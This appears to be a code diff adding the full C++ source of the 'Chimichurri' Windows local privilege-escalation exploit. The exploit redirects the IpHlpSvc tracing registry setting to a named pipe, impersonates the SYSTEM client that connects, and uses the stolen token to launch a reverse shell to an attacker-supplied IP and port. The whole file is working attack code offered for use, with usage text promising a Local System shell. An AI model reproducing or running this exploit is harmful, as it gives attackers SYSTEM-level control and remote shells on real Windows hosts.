|
| 1 | + |
| 2 | +// Chimichurri -> Windows 2008 R1 & R2, Windows Vista and Windows 7 exploit |
| 3 | +// by Cesar Cerrudo |
| 4 | +// Argeniss - Information Security & Software |
| 5 | + |
| 6 | +// Notes: |
| 7 | +// -Must be run by a user with impersonation and asgin primary token privileges, it can be used on IIS 7 & 7.5, SQL Server or other Windows services. |
| 8 | +// -Chimichurri is an argentinian sauce used on asado and churrasco, the exploit name was an idea of Federico Kirschbaun, thanks Federico. |
| 9 | + |
| 10 | +#include "stdafx.h" |
| 11 | + |
| 12 | +/* We need this to compile properly; ch33kymix [at] whitedome.com.au*/ |
| 13 | +#pragma comment(lib, "Ws2_32.lib") |
| 14 | + |
| 15 | +DWORD dwPort; |
| 16 | +LPSTR sIP; |
| 17 | + |
| 18 | + |
| 19 | +DWORD SpawnReverseShell(HANDLE hToken, DWORD dwPort,LPSTR sIP) |
| 20 | +{ |
| 21 | + HANDLE hToken2,hTokenTmp; |
| 22 | + PROCESS_INFORMATION pInfo; |
| 23 | + STARTUPINFO sInfo; |
| 24 | + WSADATA wd; |
| 25 | + SOCKET sock; |
| 26 | + struct sockaddr_in sin; |
| 27 | + int size = sizeof(sin); |
| 28 | + |
| 29 | + memset(&sin, 0, sizeof(sin)); |
| 30 | + WSAStartup(MAKEWORD( 1, 1 ), &wd); |
| 31 | + sock=WSASocket(PF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); |
| 32 | + sin.sin_family = AF_INET; |
| 33 | + bind(sock, (struct sockaddr*)&sin, size); |
| 34 | + sin.sin_port = htons(dwPort); |
| 35 | + sin.sin_addr.s_addr = inet_addr(sIP); |
| 36 | + |
| 37 | + DWORD dwRes=connect(sock, (struct sockaddr*)&sin, size); |
| 38 | + |
| 39 | + if (dwRes!=0){ |
| 40 | + printf ("/Chimichurri/-->Could not connect to %s<BR>",sIP); |
| 41 | + return 0; |
| 42 | + } |
| 43 | + |
| 44 | + ZeroMemory(&sInfo, sizeof(STARTUPINFO)); |
| 45 | + ZeroMemory(&pInfo, sizeof(PROCESS_INFORMATION)); |
| 46 | + sInfo.cb= sizeof(STARTUPINFO); |
| 47 | + sInfo.lpDesktop= "WinSta0\\Default"; //so we don't have to wait on the process |
| 48 | + |
| 49 | + sInfo.dwFlags = STARTF_USESTDHANDLES; |
| 50 | + sInfo.hStdInput = sInfo.hStdOutput = sInfo.hStdError =(HANDLE) sock; |
| 51 | + |
| 52 | + hTokenTmp=hToken; |
| 53 | + |
| 54 | + DuplicateTokenEx(hTokenTmp,MAXIMUM_ALLOWED,NULL,SecurityImpersonation, TokenPrimary,&hToken2) ; |
| 55 | + |
| 56 | + LPTSTR lpComspec; |
| 57 | + lpComspec= (LPTSTR) malloc(1024*sizeof(TCHAR)); |
| 58 | + GetEnvironmentVariable("comspec",lpComspec,1024);//it won't work if cmd.exe used as commandline param |
| 59 | + |
| 60 | + dwRes=CreateProcessAsUser(hToken2, lpComspec ,NULL, NULL, NULL, TRUE, NULL, NULL, NULL, &sInfo, &pInfo); |
| 61 | + |
| 62 | + CloseHandle(hTokenTmp); |
| 63 | + CloseHandle(hToken2); |
| 64 | + |
| 65 | + return dwRes; |
| 66 | + |
| 67 | +} |
| 68 | + |
| 69 | +bool SetRegistryValues(bool on) |
| 70 | +{ |
| 71 | + HKEY hKey; |
| 72 | + char a[]="\\\\localhost\\pipe\\x"; |
| 73 | + char b[]="%windir%\\tracing"; |
| 74 | + char *x=a; |
| 75 | + DWORD y=1,dwsize=strlen(a)+1; |
| 76 | + bool result=false; |
| 77 | + |
| 78 | + if(!on){ |
| 79 | + x=b; |
| 80 | + y=0; |
| 81 | + dwsize=strlen(b)+1; |
| 82 | + } |
| 83 | + |
| 84 | + if( RegOpenKeyEx(HKEY_LOCAL_MACHINE,TEXT("SOFTWARE\\Microsoft\\Tracing\\IpHlpSvc"),NULL,KEY_SET_VALUE|KEY_WOW64_64KEY, &hKey) == ERROR_SUCCESS ) |
| 85 | + { |
| 86 | + if (RegSetValueEx(hKey,"FileDirectory",NULL,REG_EXPAND_SZ,(PBYTE)x,dwsize)== ERROR_SUCCESS ) |
| 87 | + { |
| 88 | + if (RegSetValueEx(hKey,"EnableFileTracing",NULL,REG_DWORD,(PBYTE)&y,sizeof(DWORD))== ERROR_SUCCESS ) |
| 89 | + { |
| 90 | + result=true; |
| 91 | + } |
| 92 | + } |
| 93 | + RegCloseKey(hKey); |
| 94 | + } |
| 95 | + |
| 96 | + return result; |
| 97 | +} |
| 98 | + |
| 99 | +DWORD WINAPI ThreadProc(LPVOID lpParameter){ |
| 100 | + |
| 101 | + char szPipe[]= "\\\\.\\pipe\\x\\IpHlpSvc.log"; |
| 102 | + |
| 103 | + HANDLE hPipe = 0,hToken=0; |
| 104 | + hPipe = CreateNamedPipe (szPipe, PIPE_ACCESS_DUPLEX, PIPE_TYPE_MESSAGE|PIPE_WAIT, 2, 0, 0, 0, NULL); |
| 105 | + if (!hPipe) { |
| 106 | + printf ("/Chimichurri/-->Couldn't create pipe<BR>"); |
| 107 | + SetEvent(*((HANDLE *)lpParameter)); |
| 108 | + return 0; |
| 109 | + } |
| 110 | + |
| 111 | + ConnectNamedPipe (hPipe, NULL); |
| 112 | + |
| 113 | + if (!ImpersonateNamedPipeClient (hPipe)) { |
| 114 | + printf ("/Chimichurri/-->Error impersonating pipe<BR>"); |
| 115 | + CloseHandle(hPipe); |
| 116 | + SetEvent(*((HANDLE *)lpParameter)); |
| 117 | + return 0; |
| 118 | + } |
| 119 | + |
| 120 | + |
| 121 | + if (!OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, TRUE, &hToken )) { |
| 122 | + printf ("/Chimichurri/-->Couldn't get token<BR>"); |
| 123 | + SetEvent(*((HANDLE *)lpParameter)); |
| 124 | + return 0; |
| 125 | + } |
| 126 | + CloseHandle(hPipe); |
| 127 | + |
| 128 | + printf ("/Chimichurri/-->Got SYSTEM token...<BR>"); |
| 129 | + printf ("/Chimichurri/-->Running reverse shell...<BR>"); |
| 130 | + |
| 131 | + SpawnReverseShell(hToken,dwPort,sIP); |
| 132 | + |
| 133 | + SetEvent(*((HANDLE *)lpParameter)); |
| 134 | + return 1; |
| 135 | +} |
| 136 | + |
| 137 | +int _tmain(int argc, _TCHAR* argv[]) |
| 138 | +{ |
| 139 | + DWORD lpThreadId; |
| 140 | + |
| 141 | + printf ("/Chimichurri/-->This exploit gives you a Local System shell <BR>"); |
| 142 | + |
| 143 | + if (argc != 3) { |
| 144 | + printf ("/Chimichurri/-->Usage: Chimichurri.exe ipaddress port <BR>"); |
| 145 | + return 0; |
| 146 | + } |
| 147 | + |
| 148 | + sIP= argv[1]; |
| 149 | + dwPort= atoi(argv[2]); |
| 150 | + |
| 151 | + HANDLE hEvent=CreateEvent(NULL,false,false,NULL); |
| 152 | + |
| 153 | + CreateThread(NULL,NULL,ThreadProc,&hEvent,NULL,&lpThreadId); |
| 154 | + |
| 155 | + printf ("/Chimichurri/-->Changing registry values...<BR>"); |
| 156 | + if (!SetRegistryValues(true)) { |
| 157 | + printf ("/Chimichurri/-->Couldn't set registry values<BR>"); |
| 158 | + return 0; |
| 159 | + } |
| 160 | + |
| 161 | + WaitForSingleObject(hEvent,INFINITE); |
| 162 | + |
| 163 | + printf ("/Chimichurri/-->Restoring default registry values...<BR>"); |
| 164 | + SetRegistryValues(false); |
| 165 | + |
| 166 | + return 0; |
| 167 | +} |
| 168 | + |
0 commit comments